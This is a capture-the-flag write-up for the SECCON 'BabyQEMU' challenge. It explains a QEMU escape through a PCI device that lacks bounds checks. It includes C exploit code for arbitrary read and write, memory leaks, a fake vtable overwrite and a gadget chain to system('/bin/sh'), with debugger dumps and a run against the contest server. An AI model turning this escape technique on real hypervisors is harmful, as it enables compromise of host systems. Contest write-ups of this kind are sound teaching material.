SECCON CTF 13 Quals - BabyQEMU
author:ShiftCrops
nc babyqemu.seccon.games 3824
Team: Super Guesser
Attachment:
BabyQEMU.tar.gz
xpl.py
pwn.c
BabyQEMU was nice entry level challenge to learn about QEMU escape. It provided a pci device babydev
, which allowed to read/write memory via mmio
access.
static uint64_t pci_babydev_mmio_read ( void * opaque , hwaddr addr , unsigned size ) {
PCIBabyDevState * ms = opaque ;
struct PCIBabyDevReg * reg = ms -> reg_mmio ;
debug_printf ( "addr:%lx, size:%d \n " , addr , size );
switch ( addr ){
case MMIO_GET_DATA :
debug_printf ( "get_data (%p) \n " , & ms -> buffer [ reg -> offset ]);
return * ( uint64_t * ) & ms -> buffer [ reg -> offset ];
}
return - 1 ;
}
static void pci_babydev_mmio_write ( void * opaque , hwaddr addr , uint64_t val , unsigned size ) {
PCIBabyDevState * ms = opaque ;
struct PCIBabyDevReg * reg = ms -> reg_mmio ;
debug_printf ( "addr:%lx, size:%d, val:%lx \n " , addr , size , val );
switch ( addr ){
case MMIO_SET_OFFSET :
reg -> offset = val ;
break ;
case MMIO_SET_OFFSET + 4 :
reg -> offset |= val << 32 ;
break ;
case MMIO_SET_DATA :
debug_printf ( "set_data (%p) \n " , & ms -> buffer [ reg -> offset ]);
* ( uint64_t * ) & ms -> buffer [ reg -> offset ] = ( val & (( 1UL << size * 8 ) - 1 )) | ( * ( uint64_t * ) & ms -> buffer [ reg -> offset ] & ~ (( 1UL << size * 8 ) - 1 ));
break ;
}
}
Since there are no out-of-bounds check at all in place, we can read anywhere in QEMU memory (knowing the offsets between the different memory regions, we can even read outside of qemu heap).
So, we just need to write some code to access the device and map a mmio
region to trigger the functions inside the device.
For doing mmio
access, we have to map a memory region to the pci device. Then we can trigger the different functions by writing values to specific offsets in that memory region.
For reading or writing data, we first have to set reg->offset
to the offset, from which we want to read/write. This can be done, by writing the lower 32bit of the offset to mmio_mem + MMIO_SET_OFFSET
and the higher 32bit of the offset to mmio_mem + MMIO_SET_OFFSET+4
.
Reading data from the previously set offset, can then be done by reading from mmio_mem + MMIO_GET_DATA
.
Writing data is done by writing to mmio_mem + MMIO_SET_DATA
.
So, let’s create some starter code for this:
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#define MMIO_SET_OFFSET 0
#define MMIO_SET_DATA 8
#define MMIO_GET_DATA 8
unsigned char * mmio_mem ;
void mmio_write ( uint32_t addr , uint32_t value )
{
* ( uint32_t * )( mmio_mem + addr ) = value ;
}
uint32_t mmio_read ( uint32_t addr )
{
return * ( uint32_t * )( mmio_mem + addr );
}
void set_offset_lo ( uint32_t value )
{
mmio_write ( MMIO_SET_OFFSET , value );
}
void set_offset_hi ( uint32_t value )
{
mmio_write ( MMIO_SET_OFFSET + 4 , value );
}
void set_value ( uint32_t value )
{
mmio_write ( MMIO_SET_DATA , value );
}
uint64_t get_value ()
{
return mmio_read ( MMIO_GET_DATA );
}
int main ()
{
int mmio_fd = open ( "/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC );
mmio_mem = mmap ( NULL , 0x1000 , PROT_READ | PROT_WRITE , MAP_SHARED , mmio_fd , 0 );
printf ( "MMIO FD: %p \n " , mmio_fd );
printf ( "MMIO MEM: %p \n " , mmio_mem );
munmap ( mmio_mem , 0x1000 );
close ( mmio_fd );
}
Now, let’s take a look at the memory region, we can directly access via pci_babydev_mmio_write
.
──────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000555556271100 → 0x0000555555902170 → endbr64
$rbx : 0x00005555580b2800 → 0x00005555570a35b0 → 0x0000555556ffaed0 → 0x0000555556ffb050 → "memory-region"
$rcx : 0x4
$rdx : 0x120
$rsp : 0x00007ffff55feb58 → 0x0000555555c88034 → mov rax, QWORD PTR [rsp+0x38]
$rbp : 0x120
$rsi : 0x0
$rdi : 0x00005555580b1d20 → 0x000055555714c7b0 → 0x0000555556fa4100 → 0x0000555556fa4280 → 0x0000000079626162 ("baby"?)
$rip : 0x00005555559021b0 → endbr64
$r8 : 0x0
$r9 : 0xffffffff
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$r13 : 0x4
$r14 : 0x4
$r15 : 0x0000555555c87fb0 → endbr64
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555559021a4 xor edi, edi
0x5555559021a6 ret
0x5555559021a7 nop WORD PTR [rax+rax*1+0x0]
●→ 0x5555559021b0 endbr64
0x5555559021b4 mov rax, QWORD PTR [rdi+0xbf0]
0x5555559021bb mov r8, rdx
0x5555559021be cmp rsi, 0x4
0x5555559021c2 je 0x555555902220
0x5555559021c4 cmp rsi, 0x8
────────────────────────── extra ────
[+] Hit breakpoint *0x00005555559021B0 (mmio_write)
gef➤ x/30gx $rdi
0x5555580b1d20: 0x000055555714c7b0 0x00007ffff78c76f0 <= opaque
0x5555580b1d30: 0x00005555580b0ae0 0x0000000000000009
0x5555580b1d40: 0x0000555557250970 0x0000000000000000
0x5555580b1d50: 0x00005555580b07e0 0x0000000000000001
0x5555580b1d60: 0x0000000000000000 0x00005555580b2a90
0x5555580b1d70: 0x0000000000000000 0x0000555557334e90
0x5555580b1d80: 0x0000000000000000 0x0000000000000000
0x5555580b1d90: 0x0000000000000000 0xffffffff00000000
0x5555580b1da0: 0x0000000000000000 0x0000000000000000
0x5555580b1db0: 0x0000000000000000 0x0000000000000001
0x5555580b1dc0: 0x0000000000000100 0x00005555580b4220
0x5555580b1dd0: 0x00005555580b4330 0x00005555580b4440
0x5555580b1de0: 0x00005555580b4550 0x00005555580b4660
0x5555580b1df0: 0x0000000000000020 0x00005555580b1d20 <= x / ptr to opaque
0x5555580b1e00: 0x0000000000000001 0x0000000079626162
gef➤ x/30gx $rdi+0xbf8
0x5555580b2918: 0x0000000000000000 0x0000000000000000 <= ms->buffer
0x5555580b2928: 0x0000000000000000 0x0000000000000000
0x5555580b2938: 0x0000000000000000 0x0000000000000000
0x5555580b2948: 0x0000000000000000 0x0000000000000000
0x5555580b2958: 0x0000000000000000 0x0000000000000000
...
0x5555580b2a08: 0x0000000000000000 0x0000000000000000
0x5555580b2a18: 0x0000000000000000 0x0000000000000000
0x5555580b2a28: 0x0000000000000061 0x00005555580b0c40
0x5555580b2a38: 0x00005555580b0c20 0x0000000000000000 <= QEMU heap leak
0x5555580b2a48: 0x0000555555d084a0 0x0000000000000000 <= QEMU leak
0x5555580b2a58: 0x0000555555d03330 0x0000555555d05bd0
0x5555580b2a68: 0x0000000000000000 0x00005555580b1d20
0x5555580b2a78: 0x0000000000000000 0x0000000000000000
There are already all leaks in reach, which we need for this challenge. We just have to use offsets relatively to ms->buffer
(which is located at opaque+0xbf8
).
uint64_t read_addr_offset ( uint64_t offset )
{
set_offset_lo ( offset & 0xffffffff );
set_offset_hi (( offset >> 32 ) & 0xffffffff );
uint64_t addr_lo = get_value ();
set_offset_lo (( offset + 4 ) & 0xffffffff );
set_offset_hi ((( offset + 4 ) >> 32 ) & 0xffffffff );
uint64_t addr_hi = get_value ();
return ( addr_hi << 32 ) | addr_lo ;
}
int main ()
{
...
uint64_t heapleak = read_addr_offset ( 0x120 );
uint64_t qemuleak = read_addr_offset ( 0x130 );
uint64_t qemubase = qemuleak - 0x7b44a0 ;
uint64_t opaque = read_addr_offset ( - 0xbf8 + 0xd8 );
printf ( "HEAP leak : %p \n " , heapleak );
printf ( "QEMU leak : %p \n " , qemuleak );
printf ( "QEMU base : %p \n " , qemubase );
printf ( "opaque : %p \n " , opaque );
Didn’t have symbols to find the correct vtables, so I just went haywire and overwrote everything on the heap to find out, if there’s some kind of vtable, that would get called.
And found this candidate:
───────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x5555deadbeef
$rbx : 0x00005555572d1f80 → 0x00005555570a35b0 → 0x0000555556ffaed0 → 0x0000555556ffb050 → "memory-region"
$rcx : 0x1
$rdx : 0x4
$rsp : 0x00007ffff55feec0 → 0x00000000000000b0
$rbp : 0x4
$rsi : 0xb0
$rdi : 0x00005555572d1f80 → 0x00005555570a35b0 → 0x0000555556ffaed0 → 0x0000555556ffb050 → "memory-region"
$rip : 0x0000555555c87011 → mov r9, QWORD PTR [rax+0x38]
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0xb0
$r13 : 0x1
$r14 : 0x0
$r15 : 0x2
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555c87006 mov rbx, rdi
0x555555c87009 sub rsp, 0x8
0x555555c8700d mov rax, QWORD PTR [rdi+0x50]
→ 0x555555c87011 mov r9, QWORD PTR [rax+0x38]
0x555555c87015 test r9, r9
0x555555c87018 je 0x555555c8702c
0x555555c8701a mov rdi, QWORD PTR [rdi+0x58]
0x555555c8701e movzx ecx, cl
0x555555c87021 call r9
Since we control rax
at this point, we can also let it point to somewhere on the heap, where we can prepare a fake vtable
, which would then give us more control over code execution.
After some digging through the heap, I found a reference to this, with which we can calculate the offset to overwrite to control it.
uint64_t mmio_ptr = read_addr_offset ( - 0xbf8 - 0x7b0 );
uint64_t target_off = opaque - mmio_ptr - 0x50 ;
printf ( "mmio_ptr : %p \n " , mmio_ptr );
printf ( "target_off : %p \n " , target_off );
Now we just have to put everything together. To get control over rdi
, I used this gadget
0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];
With this, we can set rdi
and call another function. Calling system
directly would segfault though, since the stack is currently not correctly aligned. We could get around this, by using an offset to system
fixing the stack, but I just went using another call gadget
0x000000000035f5d5: call qword ptr [rax + 8];
This would move the stack by 8 bytes, aligning it, and then call system
.
// 0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax];
// 0x000000000035f5d5: call qword ptr [rax + 8];
uint64_t system = qemubase + 0x324150 ;
uint64_t setrdigadget = qemubase + 0x0000000000575a0e ;
uint64_t callrax8 = qemubase + 0x000000000035f5d5 ;
write_addr_offset ( 0x20 , callrax8 & 0xffffffff ); // rax
write_addr_offset ( 0x24 , callrax8 >> 32 ); // rax
write_addr_offset ( 0x20 + 0x8 , system & 0xffffffff ); // rax+0x8
write_addr_offset ( 0x20 + 0x8 + 4 , system >> 32 ); // rax+0x8
write_addr_offset ( 0x20 + 0x10 , (( heapleak + 0x1d20 ) & 0xffffffff ) + 0x10 ); // rax + 0x10 => address of bin/sh
write_addr_offset ( 0x20 + 0x10 + 4 , heapleak >> 32 );
write_addr_offset ( 0x20 + 0x18 , 0x6e69622f ); // rax+0x18 => bin/sh
write_addr_offset ( 0x20 + 0x18 + 4 , 0x68732f );
write_addr_offset ( 0x20 + 0x38 , setrdigadget & 0xffffffff ); // gadget (call [rax])
write_addr_offset ( 0x24 + 0x38 , setrdigadget >> 32 );
write_addr_offset ( - 0xbf8 - target_off , opaque + 0xbf8 + 0x20 ); // overwrite vtable
Executing this, will now trigger our initial gadget
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00005555580b2938 → 0x00005555558b35d5 → call QWORD PTR [rax+0x8]
$rbx : 0x00005555572d1f80 → 0x00005555570a35b0 → 0x0000555556ffaed0 → 0x0000555556ffb050 → "memory-region"
$rcx : 0x1
$rdx : 0x4
$rsp : 0x00007ffff55fec98 → 0x0000555555c87024 → test al, al
$rbp : 0x4
$rsi : 0x1004
$rdi : 0x00005555572d1ee0 → 0x000055555716be60 → 0x0000555556feeec0 → 0x0000555556fef040 → 0x0000000063697061 ("apic"?)
$rip : 0x0000555555ac9a0e → mov rdi, QWORD PTR [rax+0x10]
$r8 : 0x1
$r9 : 0x0000555555ac9a0e → mov rdi, QWORD PTR [rax+0x10]
$r10 : 0x0
$r11 : 0x0
$r12 : 0x1004
$r13 : 0x1
$r14 : 0x1
$r15 : 0x2
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555ac9a03 mov rbp, QWORD PTR [rbp+0x18]
0x555555ac9a07 mov edx, ebx
0x555555ac9a09 mov esi, 0x1
●→ 0x555555ac9a0e mov rdi, QWORD PTR [rax+0x10]
0x555555ac9a12 call QWORD PTR [rax]
0x555555ac9a14 test rbp, rbp
0x555555ac9a17 jne 0x555555ac9a00
0x555555ac9a19 mov rax, QWORD PTR [rsp+0x18]
0x555555ac9a1e sub rax, QWORD PTR fs:0x28
ef➤ x/30gx $rax+0x10
0x5555580b2948: 0x00005555580b2950 0x0068732f6e69622f <= address to /bin/sh / bin/sh
0x5555580b2958: 0x0000000000000000 0x0000000000000000
0x5555580b2968: 0x0000000000000000 0x0000555555ac9a0e
gef➤ x/s 0x00005555580b2950
0x5555580b2950: "/bin/sh"
gef➤ x/gx $rax
0x5555580b2938: 0x00005555558b35d5 <= next gadget
Calling the next gadget will result in
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00005555580b2938 → 0x00005555558b35d5 → call QWORD PTR [rax+0x8]
$rbx : 0x00005555572d1f80 → 0x00005555570a35b0 → 0x0000555556ffaed0 → 0x0000555556ffb050 → "memory-region"
$rcx : 0x1
$rdx : 0x4
$rsp : 0x00007ffff55fec90 → 0x0000555555ac9a14 → test rbp, rbp
$rbp : 0x4
$rsi : 0x1004
$rdi : 0x00005555580b2950 → 0x0068732f6e69622f ("/bin/sh"?)
$rip : 0x00005555558b35d5 → call QWORD PTR [rax+0x8]
$r8 : 0x1
$r9 : 0x0000555555ac9a0e → mov rdi, QWORD PTR [rax+0x10]
$r10 : 0x0
$r11 : 0x0
$r12 : 0x1004
$r13 : 0x1
$r14 : 0x1
$r15 : 0x2
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555558b35c2 mov rax, QWORD PTR [rdi+0x18]
0x5555558b35c6 mov DWORD PTR [rsp+0x4], 0x30
0x5555558b35ce mov rax, QWORD PTR [rax+0x1c70]
→ 0x5555558b35d5 call QWORD PTR [rax+0x8]
0x5555558b35d8 mov rdx, QWORD PTR [rsp+0x18]
0x5555558b35dd sub rdx, QWORD PTR fs:0x28
0x5555558b35e6 jne 0x5555558b35fe
0x5555558b35e8 add rsp, 0xd8
0x5555558b35ef xor edx, edx
gef➤ x/gx $rax+0x8
0x5555580b2940: 0x0000555555878150
gef➤ x/3i 0x0000555555878150
0x555555878150 <system@plt>: endbr64
0x555555878154 <system@plt+4>: jmp QWORD PTR [rip+0x15bebde] # 0x555556e36d38 <system@got.plt>
0x55555587815a <system@plt+10>: nop WORD PTR [rax+rax*1+0x0]
So rdi
pointing to /bin/sh
, stack aligned, ready to execute system("/bin/sh")
.
And running it remote…
PWNLIB_NOTERM=1 python3 xpl.py 1
[*] Compile
[x] Opening connection to babyqemu.seccon.games on port 3824
[x] Opening connection to babyqemu.seccon.games on port 3824: Trying 153.127.217.94
[+] Opening connection to babyqemu.seccon.games on port 3824: Done
[x] Starting local process './pow.sh'
[+] Starting local process './pow.sh': pid 536395
[*] Switching to interactive mode
# ./pwn
HEAP leak : 0x55f174b098d0
QEMU leak : 0x55f1599d94a0
QEMU base : 0x55f159225000
opaque : 0x55f174b0a9d0
mmio_ptr : 0x55f173d0af60
target_off : 0xdffa20
sh: turning off NDELAY mode
ls
bzImage
flag-3d88515f1a04703466da6ca63c4df592.txt
pow.sh
qemu-system-x86_64
roms
rootfs.cpio.gz
run.sh
cat flag*
SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}